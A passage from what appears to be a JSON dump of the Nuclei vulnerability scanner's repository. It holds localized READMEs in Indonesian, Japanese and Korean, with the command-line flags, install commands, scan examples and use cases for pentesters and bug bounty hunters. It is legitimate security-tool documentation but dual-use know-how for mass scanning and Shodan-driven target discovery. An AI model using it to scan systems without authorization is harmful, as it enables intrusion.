workflow urls to run (comma-separated, file)\n   -validate                              validate the passed templates to nuclei\n   -nss, -no-strict-syntax                disable strict syntax check on templates\n   -td, -template-display                 displays the templates content\n   -tl                                    list all available templates\n   -sign                                  signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable\n   -code                                  enable loading code protocol-based templates\n\nFILTERING:\n   -a, -author string[]               templates to run based on authors (comma-separated, file)\n   -tags string[]                     templates to run based on tags (comma-separated, file)\n   -etags, -exclude-tags string[]     templates to exclude based on tags (comma-separated, file)\n   -itags, -include-tags string[]     tags to be executed even if they are excluded either by default or configuration\n   -id, -template-id string[]         templates to run based on template ids (comma-separated, file)\n   -eid, -exclude-id string[]         templates to exclude based on template ids (comma-separated, file)\n   -it, -include-templates string[]   templates to be executed even if they are excluded either by default or configuration\n   -et, -exclude-templates string[]   template or template directory to exclude (comma-separated, file)\n   -em, -exclude-matchers string[]    template matchers to exclude in result\n   -s, -severity value[]              templates to run based on severity. Possible values: info, low, medium, high, critical, unknown\n   -es, -exclude-severity value[]     templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown\n   -pt, -type value[]                 templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois\n   -ept, -exclude-type value[]        templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois\n   -tc, -template-condition string[]  templates to run based on expression condition\n\nOUTPUT:\n   -o, -output string            output file to write found issues/vulnerabilities\n   -sresp, -store-resp           store all request/response passed through nuclei to output directory\n   -srd, -store-resp-dir string  store all request/response passed through nuclei to custom directory (default \"output\")\n   -silent                       display findings only\n   -nc, -no-color                disable output content coloring (ANSI escape codes)\n   -j, -jsonl                    write output in JSONL(ines) format\n   -irr, -include-rr             include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)\n   -or, -omit-raw                omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)\n   -nm, -no-meta                 disable printing result metadata in cli output\n   -ts, -timestamp               enables printing timestamp in cli output\n   -rdb, -report-db string       nuclei reporting database (always use this to persist report data)\n   -ms, -matcher-status          display match failure status\n   -me, -markdown-export string  directory to export results in markdown format\n   -se, -sarif-export string     file to export results in SARIF format\n   -je, -json-export string      file to export results in JSON format\n   -jle, -jsonl-export string    file to export results in JSONL(ine) format\n\nCONFIGURATIONS:\n   -config string                        path to the nuclei configuration file\n   -fr, -follow-redirects                enable following redirects for http templates\n   -fhr, -follow-host-redirects          follow redirects on the same host\n   -mr, -max-redirects int               max number of redirects to follow for http templates (default 10)\n   -dr, -disable-redirects               disable redirects for http templates\n   -rc, -report-config string            nuclei reporting module configuration file\n   -H, -header string[]                  custom header/cookie to include in all http request in header:value format (cli, file)\n   -V, -var value                        custom vars in key=value format\n   -r, -resolvers string                 file containing resolver list for nuclei\n   -sr, -system-resolvers                use system DNS resolving as error fallback\n   -dc, -disable-clustering              disable clustering of requests\n   -passive                              enable passive HTTP response processing mode\n   -fh2, -force-http2                    force http2 connection on requests\n   -ev, -env-vars                        enable environment variables to be used in template\n   -cc, -client-cert string              client certificate file (PEM-encoded) used for authenticating against scanned hosts\n   -ck, -client-key string               client key file (PEM-encoded) used for authenticating against scanned hosts\n   -ca, -client-ca string                client certificate authority file (PEM-encoded) used for authenticating against scanned hosts\n   -sml, -show-match-line                show match lines for file templates, works with extractors only\n   -ztls                                 use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default\n   -sni string                           tls sni hostname to use (default: input domain name)\n   -lfa, -allow-local-file-access        allows file (payload) access anywhere on the system\n   -lna, -restrict-local-network-access  blocks connections to the local / private network\n   -i, -interface string                 network interface to use for network scan\n   -at, -attack-type string              type of payload combinations to perform (batteringram,pitchfork,clusterbomb)\n   -sip, -source-ip string               source ip address to use for network scan\n   -config-directory string              override the default config path ($home/.config)\n   -rsr, -response-size-read int         max response size to read in bytes (default 10485760)\n   -rss, -response-size-save int         max response size to read in bytes (default 1048576)\n   -reset                                reset removes all nuclei configuration and data files (including nuclei-templates)\n   -tlsi, -tls-impersonate               enable experimental client hello (ja3) tls randomization\n\nINTERACTSH:\n   -iserver, -interactsh-server string  interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)\n   -itoken, -interactsh-token string    authentication token for self-hosted interactsh server\n   -interactions-cache-size int         number of requests to keep in the interactions cache (default 5000)\n   -interactions-eviction int           number of seconds to wait before evicting requests from cache (default 60)\n   -interactions-poll-duration int      number of seconds to wait before each interaction poll request (default 5)\n   -interactions-cooldown-period int    extra time for interaction polling before exiting (default 5)\n   -ni, -no-interactsh                  disable interactsh server for OAST testing, exclude OAST based templates\n\nFUZZING:\n   -ft, -fuzzing-type string  overrides fuzzing type set in template (replace, prefix, postfix, infix)\n   -fm, -fuzzing-mode string  overrides fuzzing mode set in template (multiple, single)\n\nUNCOVER:\n   -uc, -uncover                  enable uncover engine\n   -uq, -uncover-query string[]   uncover search query\n   -ue, -uncover-engine string[]  uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (default shodan)\n   -uf, -uncover-field string     uncover fields to return (ip,port,host) (default \"ip:port\")\n   -ul, -uncover-limit int        uncover results to return (default 100)\n   -ur, -uncover-ratelimit int    override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)\n\nRATE-LIMIT:\n   -rl, -rate-limit int               maximum number of requests to send per second (default 150)\n   -rlm, -rate-limit-minute int       maximum number of requests to send per minute\n   -bs, -bulk-size int                maximum number of hosts to be analyzed in parallel per template (default 25)\n   -c, -concurrency int               maximum number of templates to be executed in parallel (default 25)\n   -hbs, -headless-bulk-size int      maximum number of headless hosts to be analyzed in parallel per template (default 10)\n   -headc, -headless-concurrency int  maximum number of headless templates to be executed in parallel (default 10)\n   -tlc, -template-loading-concurrency int  maximum number of concurrent template loading operations (default 50)\n\nOPTIMIZATIONS:\n   -timeout int                        time to wait in seconds before timeout (default 10)\n   -retries int                        number of times to retry a failed request (default 1)\n   -ldp, -leave-default-ports          leave default HTTP/HTTPS ports (eg. host:80,host:443)\n   -mhe, -max-host-error int           max errors for a host before skipping from scan (default 30)\n   -te, -track-error string[]          adds given error to max-host-error watchlist (standard, file)\n   -nmhe, -no-mhe                      disable skipping host from scan based on errors\n   -project                            use a project folder to avoid sending same request multiple times\n   -project-path string                set a specific project path (default \"/tmp\")\n   -spm, -stop-at-first-match          stop processing HTTP requests after the first match (may break template/workflow logic)\n   -stream                             stream mode - start elaborating without sorting the input\n   -ss, -scan-strategy value           strategy to use while scanning(auto/host-spray/template-spray) (default auto)\n   -irt, -input-read-timeout duration  timeout on input read (default 3m0s)\n   -nh, -no-httpx                      disable httpx probing for non-url input\n   -no-stdin                           disable stdin processing\n\nHEADLESS:\n   -headless                    enable templates that require headless browser support (root user on Linux will disable sandbox)\n   -page-timeout int            seconds to wait for each page in headless mode (default 20)\n   -sb, -show-browser           show the browser on the screen when running templates with headless mode\n   -sc, -system-chrome          use local installed Chrome browser instead of nuclei installed\n   -cdpe, -cdp-endpoint string  use remote browser via Chrome DevTools Protocol (CDP) endpoint\n   -lha, -list-headless-action  list available headless actions\n\nDEBUG:\n   -debug                    show all requests and responses\n   -dreq, -debug-req         show all sent requests\n   -dresp, -debug-resp       show all received responses\n   -p, -proxy string[]       list of http/socks5 proxy to use (comma separated or file input)\n   -pi, -proxy-internal      proxy all internal requests\n   -ldf, -list-dsl-function  list all supported DSL function signatures\n   -tlog, -trace-log string  file to write sent requests trace log\n   -elog, -error-log string  file to write sent requests error log\n   -version                  show nuclei version\n   -hm, -hang-monitor        enable nuclei hang monitoring\n   -v, -verbose              show verbose output\n   -profile-mem string       optional nuclei memory profile dump file\n   -vv                       display templates loaded for scan\n   -svd, -show-var-dump      show variables dump for debugging\n   -ep, -enable-pprof        enable pprof debugging server\n   -tv, -templates-version   shows the version of the installed nuclei-templates\n   -hc, -health-check        run diagnostic check up\n\nUPDATE:\n   -up, -update                      update nuclei engine to the latest released version\n   -ut, -update-templates            update nuclei-templates to latest released version\n   -ud, -update-template-dir string  custom directory to install / update nuclei-templates\n   -duc, -disable-update-check       disable automatic nuclei/templates update check\n\nSTATISTICS:\n   -stats                    display statistics about the running scan\n   -sj, -stats-json          display statistics in JSONL(ines) format\n   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default 5)\n   -m, -metrics              expose nuclei metrics on a port\n   -mp, -metrics-port int    port to expose nuclei metrics on (default 9092)\n\nCLOUD:\n   -auth                  configure projectdiscovery cloud (pdcp) api key\n   -cup, -cloud-upload    upload scan results to pdcp dashboard\n   -sid, -scan-id string  upload scan results to given scan id\n\n\nEXAMPLES:\nRun nuclei on single host:\n\t$ nuclei -target example.com\n\nRun nuclei with specific template directories:\n\t$ nuclei -target example.com -t http/cves/ -t ssl\n\nRun nuclei against a list of hosts:\n\t$ nuclei -list hosts.txt\n\nRun nuclei with a JSON output:\n\t$ nuclei -target example.com -json-export output.json\n\nRun nuclei with sorted Markdown outputs (with environment variables):\n\t$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/\n\nAdditional documentation is available at: https://docs.projectdiscovery.io/getting-started/running\n```\n\n### Menjalankan Nuclei\n\nMemindai domain target dengan templat Nuclei yang [dikurasi oleh komunitas](https://github.com/projectdiscovery/nuclei-templates).\n\n```sh\nnuclei -u https://example.com\n```\n\nMemindai URL target dengan templat Nuclei yang [dikurasi oleh komunitas](https://github.com/projectdiscovery/nuclei-templates).\n\n```sh\nnuclei -list urls.txt\n```\n\nContoh dari berkas `urls.txt`:\n\n```yaml\nhttp://example.com\nhttp://app.example.com\nhttp://test.example.com\nhttp://uat.example.com\n```\n\n**Contoh lebih detil tentang menjalankan Nuclei dapat ditemukan [di sini](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei).**\n\n# Untuk Teknisi Keamanan\n\nNuclei menawarkan sejumlah besar fitur yang berguna bagi teknisi keamanan untuk menyesuaikan alur kerja di organisasi mereka. Dengan berbagai kemampuan pemindaian (seperti misalnya DNS, HTTP, TCP), teknisi keamanan dapat dengan mudah membuat rangkaian pemeriksaan khusus mereka dengan Nuclei.\n\n- Berbagai protokol yang didukung: TCP, DNS, HTTP, File, dll\n- Mencapai langkah-langkah kerentanan yang kompleks dengan alur kerja dan [permintaan dinamis](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/).\n- Mudah diintegrasikan ke dalam CI/CD, dirancang agar mudah diintegrasikan ke dalam siklus regresi untuk secara aktif memeriksa perbaikan dan kemunculan kerentanan kembali.\n\n<h1 align=\"left\">\n  <a href=\"https://nuclei.projectdiscovery.io/nuclei/get-started/\"><img src=\"static/learn-more-button.png\" width=\"170px\" alt=\"Pelajari Selengkapnya\"></a>\n</h1>\n\n<table>\n<tr>\n<td>  \n\n**Untuk Pemburu Celah Berhadiah:**\n\nNuclei memungkinkan Anda untuk menyesuaikan pendekatan pengujian Anda dengan rangkaian pemeriksaan Anda sendiri dan dengan mudah menjalankan program celah berhadiah Anda. Selain itu, Nuclei dapat dengan mudah diintegrasikan ke dalam alur kerja pemindaian berkelanjutan.\n\n- Dirancang agar mudah diintegrasikan ke dalam alur kerja alat lainnya.\n- Dapat memproses ribuan host hanya dalam beberapa menit.\n- Mudah mengotomatiskan pendekatan pengujian khusus Anda dengan sintaks DSL berbasis YAML sederhana kami.\n\nSilakan periksa proyek sumber terbuka kami yang lain yang mungkin cocok dengan alur kerja celah berhadiah Anda: [github.com/projectdiscovery](https://github.com/projectdiscovery), kami juga menyediakan [penyegaran data DNS di Chaos setiap hari](https://chaos.projectdiscovery.io).\n\n</td>\n</tr>\n</table>\n\n<table>\n<tr>\n<td>\n  \n**Untuk Penguji Penetrasi:**\n\nNuclei sangat meningkatkan cara Anda mendekati penilaian keamanan dengan menambah proses manual yang berulang. Para konsultan sudah mengonversi langkah penilaian manual mereka dengan Nuclei, ini memungkinkan mereka untuk menjalankan serangkaian pendekatan penilaian khusus mereka di ribuan host secara otomatis.\n\nPara penguji penetrasi mendapatkan kekuatan penuh dari templat publik dan kemampuan penyesuaian kami untuk mempercepat proses penilaian mereka, dan khususnya dengan siklus regresi di mana Anda dapat dengan mudah memverifikasi perbaikannya.\n\n- Mudah untuk membuat daftar pemeriksa kepatuhan Anda, sederet standar (mis., OWASP 10 Teratas).\n- Dengan kemampuan seperti [fuzz](https://nuclei.projectdiscovery.io/templating-guide/protocols/http-fuzzing/) dan [alur kerja](https://nuclei.projectdiscovery.io/templating-guide/workflows/), langkah manual yang rumit dan penilaian berulang dapat dengan mudah diotomatisasi dengan Nuclei.\n- Mudah untuk menguji ulang perbaikan kerentanan hanya dengan menjalankan ulang template.\n\n</td>\n</tr>\n</table>\n\n\n# Untuk Pengembang dan Organisasi\n\nNuclei dibangun dengan kesederhanaan dalam pemikiran, dengan templat yang didukung komunitas oleh ratusan peneliti keamanan, memungkinkan Anda untuk tidak tertinggal dengan ancaman keamanan terbaru menggunakan pemindaian Nuclei terus menerus pada host. Ini dirancang agar mudah diintegrasikan ke dalam siklus pengujian regresi, untuk memverifikasi perbaikan dan menghilangkan kerentanan agar tidak terjadi di masa mendatang.\n\n- **CI/CD:** Pengembang sudah memanfaatkan Nuclei dalam aliran CI/CD mereka, ini memungkinkan mereka untuk terus memantau lingkungan pementasan dan produksi mereka dengan templat yang disesuaikan.\n- **Siklus Regresi Berkelanjutan:** Dengan Nuclei, Anda dapat membuat templat khusus pada setiap kerentanan baru yang teridentifikasi dan dimasukkan ke dalam mesin Nuclei untuk dihilangkan dalam siklus regresi berkelanjutan.\n\nKami memiliki [utas diskusi tentang ini](https://github.com/projectdiscovery/nuclei-templates/discussions/693), sudah ada beberapa program celah berhadiah yang memberikan insentif kepada peretas untuk menulis templat inti dengan setiap pengiriman, yang membantu mereka untuk menghilangkan kerentanan di semua aset mereka, serta untuk menghilangkan risiko masa depan yang muncul kembali pada lingkungan produksi. Jika Anda tertarik untuk menerapkannya di organisasi Anda, jangan ragu untuk [menghubungi kami](mailto:contact@projectdiscovery.io). Kami akan dengan senang hati membantu Anda dalam proses memulai, atau Anda juga dapat memposting ke [utas diskusi](https://github.com/projectdiscovery/nuclei-templates/discussions/693) untuk bantuan apapun.\n\n<h3 align=\"center\">\n  <img src=\"static/regression-with-nuclei.jpg\" alt=\"Siklus Regresi Berkelanjutan dengan Nuclei\" width=\"1100px\"></a>\n</h3>\n\n<h1 align=\"left\">\n  <a href=\"https://github.com/projectdiscovery/nuclei-action\"><img src=\"static/learn-more-button.png\" width=\"170px\" alt=\"Pelajari Selengkapnya\"></a>\n</h1>\n\n### Sumber Daya\n\n- [Menemukan bug dengan menggunakan Nuclei dengan PinkDraconian (Robbe Van Roey)](https://www.youtube.com/watch?v=ewP0xVPW-Pk) oleh **[@PinkDraconian](https://twitter.com/PinkDraconian)** \n- [Nuclei: Mengemas Pukulan dengan Pemindaian Kerentanan](https://bishopfox.com/blog/nuclei-vulnerability-scan) oleh **Bishopfox**\n- [Kerangka kemanjuran WAF](https://www.fastly.com/blog/the-waf-efficacy-framework-measuring-the-effectiveness-of-your-waf) oleh **Fastly**\n- [Memindai Aplikasi Web Langsung dengan Nuclei di Aliran CI/CD](https://blog.escape.tech/devsecops-part-iii-scanning-live-web-applications/) oleh **[@TristanKalos](https://twitter.com/TristanKalos)**\n- [Pemindaian Bertenaga Komunitas dengan Nuclei](https://blog.projectdiscovery.io/community-powered-scanning-with-nuclei/)\n- [Nuclei Unleashed - Menulis eksploitasi kompleks dengan cepat](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)\n- [Nuclei - Fuzz semua hal](https://blog.projectdiscovery.io/nuclei-fuzz-all-the-things/)\n- [Integrasi Nuclei + Interactsh untuk Mengotomatiskan Pengujian OOB](https://blog.projectdiscovery.io/nuclei-interactsh-integration/)\n- [Mempersenjatai Alur Kerja Nuclei untuk Menghancurkan Semua Hal](https://medium.com/@dwisiswant0/weaponizes-nuclei-workflows-to-pwn-all-the-things-cd01223feb77) oleh **[@dwisiswant0](https://github.com/dwisiswant0)**\n- [Bagaimana Memindai Terus-menerus dengan Nuclei?](https://medium.com/@dwisiswant0/how-to-scan-continuously-with-nuclei-fcb7e9d8b8b9) oleh **[@dwisiswant0](https://github.com/dwisiswant0)**\n- [Retas dengan Otomatisasi !!!](https://dhiyaneshgeek.github.io/web/security/2021/07/19/hack-with-automation/) oleh **[@DhiyaneshGeek](https://github.com/DhiyaneshGeek)**\n\n### Kredit\n\nTerima kasih kepada semua komunitas yang luar biasa yang [berkontribusi untuk mengirimkan PR](https://github.com/projectdiscovery/nuclei/graphs/contributors). Lihat juga proyek sumber-terbuka serupa di bawah ini yang mungkin sesuai dengan alur kerja Anda:\n\n[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)\n\n### Lisensi\n\nNuclei didistribusikan di bawah [Lisensi MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)\n\n<h1 align=\"left\">\n  <a href=\"https://discord.gg/projectdiscovery\"><img src=\"static/Join-Discord.png\" width=\"380\" alt=\"Join Discord\"></a> <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/check-nuclei-documentation.png\" width=\"380\" alt=\"Cek Dokumentasi Nuclei\"></a>\n</h1>\n"
  },
  {
    "path": "README_JP.md",
    "content": "<h1 align=\"center\">\n  <br>\n  <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/nuclei-logo.png\" width=\"200px\" alt=\"Nuclei\"></a>\n</h1>\n\n<h4 align=\"center\">シンプルなYAMLベースのDSLに基づいた高速でカスタマイズ可能な脆弱性スキャナー</h4>\n\n<p align=\"center\">\n<img src=\"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases\"><img src=\"https://img.shields.io/github/downloads/projectdiscovery/nuclei/total\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\"><img src=\"https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases/\"><img src=\"https://img.shields.io/github/release/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/issues\"><img src=\"https://img.shields.io/github/issues-raw/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/discussions\"><img src=\"https://img.shields.io/github/discussions/projectdiscovery/nuclei\">\n<a href=\"https://discord.gg/projectdiscovery\"><img src=\"https://img.shields.io/discord/695645237418131507.svg?logo=discord\"></a>\n<a href=\"https://twitter.com/pdnuclei\"><img src=\"https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter\"></a>\n</p>\n\n<p align=\"center\">\n  <a href=\"#how-it-works\">動作原理</a> •\n  <a href=\"#install-nuclei\">インストール</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/\">ドキュメント</a> •\n  <a href=\"#credits\">クレジット</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/faq\">FAQ</a> •\n  <a href=\"https://discord.gg/projectdiscovery\">Discordに参加</a>\n</p>\n\n<p align=\"center\">\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">英語</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">中国語</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md\">韓国語</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md\">インドネシア語</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md\">スペイン語</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md\">ポルトガル語</a>\n</p>\n\n---\n\nNucleiは、テンプレートに基づいてターゲット間でリクエストを送信するために使用され、偽陽性がゼロであり、多数のホストで高速なスキャンを提供します。Nucleiは、TCP、DNS、HTTP、SSL、ファイル、Whois、Websocket、Headless、Codeなど、さまざまなプロトコルのスキャンを提供します。強力で柔軟なテンプレートを使用して、Nucleiはすべての種類のセキュリティチェックをモデル化するために使用できます。\n\n**300人以上の** セキュリティ研究者およびエンジニアが提供するさまざまなタイプの脆弱性テンプレートを収容する[専用リポジトリ](https://github.com/projectdiscovery/nuclei-templates)を持っています。\n\n## 動作原理\n\n<h3 align=\"center\">\n  <img src=\"static/nuclei-flow.jpg\" alt=\"nuclei-flow\" width=\"700px\"></a>\n</h3>\n\n| :exclamation:  **免責事項**  |\n|---------------------------------|\n| **このプロジェクトは積極的に開発されています**。リリースによって重大な変更が発生することがあります。更新する前にリリースの変更ログを確認してください。 |\n| このプロジェクトは主にスタンドアロンのCLIツールとして使用されることを目的として構築されました。**Nucleiをサービスとして実行すると、セキュリティリスクが生じる可能性があります。**注意して使用し、追加のセキュリティ対策を講じることをお勧めします。 |\n\n# Nucleiのインストール\n\nNucleiを正常にインストールするには、**go1.24.2**が必要です。以下のコマンドを実行して最新バージョンをインストールしてください -\n\n```sh\ngo install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest\n```\n\n<details>\n  <summary>Brew</summary>\n  \n  ```sh\n  brew install nuclei\n  ```\n  \n</details>\n<details>\n  <summary>Docker</summary>\n  \n  ```sh\n  docker pull projectdiscovery/nuclei:latest\n  ```\n  \n</details>\n\n**より多くのインストール方法は[こちら](https://docs.projectdiscovery.io/tools/nuclei/install)で見つけることができます。**\n\n<table>\n<tr>\n<td>  \n\n### Nucleiテンプレート\n\nNucleiは、バージョン[v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2)以降、デフォルトでテンプレートの自動ダウンロード/更新をサポートしています。[**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates)プロジェクトは、常に更新されるコミュニティ提供の即時使用可能なテンプレートのリストを提供します。\n\n`update-templates`フラグを使用して、いつでもNucleiテンプレートを更新することができます。Nucleiの[テンプレートガイド](https://docs.projectdiscovery.io/templates/)に従って、個々のワークフローとニーズに合わせた独自のチェックを作成することができます。\n\nYAML DSLの構文リファレンスは[こちら](SYNTAX-REFERENCE.md)で確認できます。\n\n</td>\n</tr>\n</table>\n\n### 使用方法\n\n```sh\nnuclei -h\n```\n\nこれにより、ツールのヘルプが表示されます。ここには、サポートされているすべてのスイッチがあります。\n\n```console\nNucleiは、広範な設定可能性、大規模な拡張性、および使いやすさに焦点を当てた、\n高速でテンプレートベースの脆弱性スキャナーです。\n\n使用法:\n  ./nuclei [flags]\n\nフラグ:\nターゲット:\n   -u, -target string[]          スキャンする対象のURL/ホスト\n   -l, -list string              スキャンする対象のURL/ホストのリストが含まれているファイルへのパス（1行に1つ）\n   -resume string                指定されたファイルからスキャンを再開し、指定されたファイルに保存（クラスタリングは無効になります）\n   -sa, -scan-all-ips            DNSレコードに関連付けられているすべてのIPをスキャン\n   -iv, -ip-version string[]     ホスト名のスキャンするIPバージョン（4,6）-（デフォルトは4）\n\nテンプレート:\n   -nt, -new-templates                    最新のnuclei-templatesリリースに追加された新しいテンプレートのみを実行\n   -ntv, -new-templates-version string[]  特定のバージョンに追加された新しいテンプレートを実行\n   -as, -automatic-scan                   wappalyzer技術検出をタグマッピングに使用した自動Webスキャン\n   -t, -templates string[]                実行するテンプレートまたはテンプレートディレクトリのリスト（カンマ区切り、ファイル）\n   -turl, -template-url string[]          実行するテンプレートのURLまたはテンプレートURLのリスト（カンマ区切り、ファイル）\n   -w, -workflows string[]                実行するワークフローまたはワークフローディレクトリのリスト（カンマ区切り、ファイル）\n   -wurl, -workflow-url string[]          実行するワークフローのURLまたはワークフローURLのリスト（カンマ区切り、ファイル）\n   -validate                              Nucleiに渡されたテンプレートを検証\n   -nss, -no-strict-syntax                テンプレートで厳密な構文チェックを無効にする\n   -td, -template-display                 テンプレートの内容を表示\n   -tl                                    利用可能なすべてのテンプレートをリスト\n   -sign                                  NUCLEI_SIGNATURE_PRIVATE_KEY環境変数で定義された秘密鍵でテンプレートに署名\n   -code                                  コードプロトコルベースのテンプレートのロードを有効にする\n\nフィルタリング:\n   -a, -author string[]               作者に基づいて実行するテンプレート（カンマ区切り、ファイル）\n   -tags string[]                     タグに基づいて実行するテンプレート（カンマ区切り、ファイル）\n   -etags, -exclude-tags string[]     タグに基づいて除外するテンプレート（カンマ区切り、ファイル）\n   -itags, -include-tags string[]     デフォルトまたは設定によって除外されている場合でも実行する必要があるタグ\n   -id, -template-id string[]         テンプレートIDに基づいて実行するテンプレート（カンマ区切り、ファイル）\n   -eid, -exclude-id string[]         テンプレートIDに基づいて除外するテンプレート（カンマ区切り、ファイル）\n   -it, -include-templates string[]   デフォルトまたは設定によって除外されている場合でも実行する必要があるテンプレート\n   -et, -exclude-templates string[]   除外するテンプレートまたはテンプレートディレクトリへのパス（カンマ区切り、ファイル）\n   -em, -exclude-matchers string[]    結果で除外するテンプレートマッチャー\n   -s, -severity value[]              重大度に基づいて実行するテンプレート。可能な値：info, low, medium, high, critical, unknown\n   -es, -exclude-severity value[]     重大度に基づいて除外するテンプレート。可能な値：info, low, medium, high, critical, unknown\n   -pt, -type value[]                 プロトコルタイプに基づいて実行するテンプレート。可能な値：dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -ept, -exclude-type value[]        プロトコルタイプに基づいて除外するテンプレート。可能な値：dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript\n   -tc, -template-condition string[]  式条件に基づいて実行するテンプレート\n\n出力:\n   -o, -output string            発見された問題/脆弱性を書き込む出力ファイル\n   -sresp, -store-resp           Nucleiを通じて渡されたすべてのリクエスト/レスポンスを出力ディレクトリに保存\n   -srd, -store-resp-dir string  Nucleiを通じて渡されたすべてのリクエスト/レスポンスをカスタムディレクトリに保存（デフォルトは「output」）\n   -silent                       結果のみを表示\n   -nc, -no-color                出力内容の着色を無効にする（ANSIエスケープコード）\n   -j, -jsonl                    JSONL(ines)形式で出力を書き込む\n   -irr, -include-rr -omit-raw   JSON、JSONL、Markdown出力にリクエスト/レスポンスペアを含める（発見のみ）[非推奨 -omit-raw使用]（デフォルトはtrue）\n   -or, -omit-raw                JSON、JSONL、Markdown出力でリクエスト/レスポンスペアを省略する（発見のみ）\n   -ot, -omit-template           JSON、JSONL出力でエンコードされたテンプレートを省略\n   -nm, -no-meta                 CLI出力で結果のメタデータの印刷を無効にする\n   -ts, -timestamp               CLI出力にタイムスタンプを印刷することを有効にする\n   -rdb, -report-db string       Nucleiレポートデータベース（レポートデータを永続化するために常にこれを使用）\n   -ms, -matcher-status          マッチ失敗のステータスを表示\n   -me, -markdown-export string  Markdown形式で結果をエクスポートするディレクトリ\n   -se, -sarif-export string     SARIF形式で結果をエクスポートするファイル\n   -je, -json-export string      JSON形式で結果をエクスポートするファイル\n   -jle, -jsonl-export string    JSONL(ine)形式で結果をエクスポートするファイル\n\n設定:\n   -config string                        Nucleiの設定ファイルへのパス\n   -fr, -follow-redirects                HTTPテンプレートのリダイレクトをフォローすることを有効にする\n   -fhr, -follow-host-redirects         "
  },
  {
    "path": "README_KR.md",
    "content": "<h1 align=\"center\">\n  <br>\n  <a href=\"https://nuclei.projectdiscovery.io\"><img src=\"static/nuclei-logo.png\" width=\"200px\" alt=\"Nuclei\"></a>\n</h1>\n\n<h4 align=\"center\">DSL 기반의 간단한 YAML을 기초로한 빠른 맞춤형 취약점 스캐너</h4>\n\n<p align=\"center\">\n<img src=\"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases\"><img src=\"https://img.shields.io/github/downloads/projectdiscovery/nuclei/total\">\n<a href=\"https://github.com/projectdiscovery/nuclei/graphs/contributors\"><img src=\"https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/releases/\"><img src=\"https://img.shields.io/github/release/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/issues\"><img src=\"https://img.shields.io/github/issues-raw/projectdiscovery/nuclei\">\n<a href=\"https://github.com/projectdiscovery/nuclei/discussions\"><img src=\"https://img.shields.io/github/discussions/projectdiscovery/nuclei\">\n<a href=\"https://discord.gg/projectdiscovery\"><img src=\"https://img.shields.io/discord/695645237418131507.svg?logo=discord\"></a>\n<a href=\"https://twitter.com/pdnuclei\"><img src=\"https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter\"></a>\n</p>\n      \n<p align=\"center\">\n  <a href=\"#작동-방식\">작동 방식</a> •\n  <a href=\"#설치\">설치</a> •\n  <a href=\"#보안-엔지니어를-위한\">보안 엔지니어를 위한</a> •\n  <a href=\"#개발자를-위한\">개발자를 위한</a> •\n  <a href=\"https://nuclei.projectdiscovery.io/nuclei/get-started/\">문서</a> •\n  <a href=\"#credits\">Credits</a> •\n  <a href=\"https://docs.projectdiscovery.io/tools/nuclei/faq\">FAQs</a> •\n  <a href=\"https://discord.gg/projectdiscovery\"> Discord 참가</a>\n</p>\n\n<p align=\"center\">\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README.md\">English</a> •\n  <a href=\"https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md\">中文</a> •\n  <a 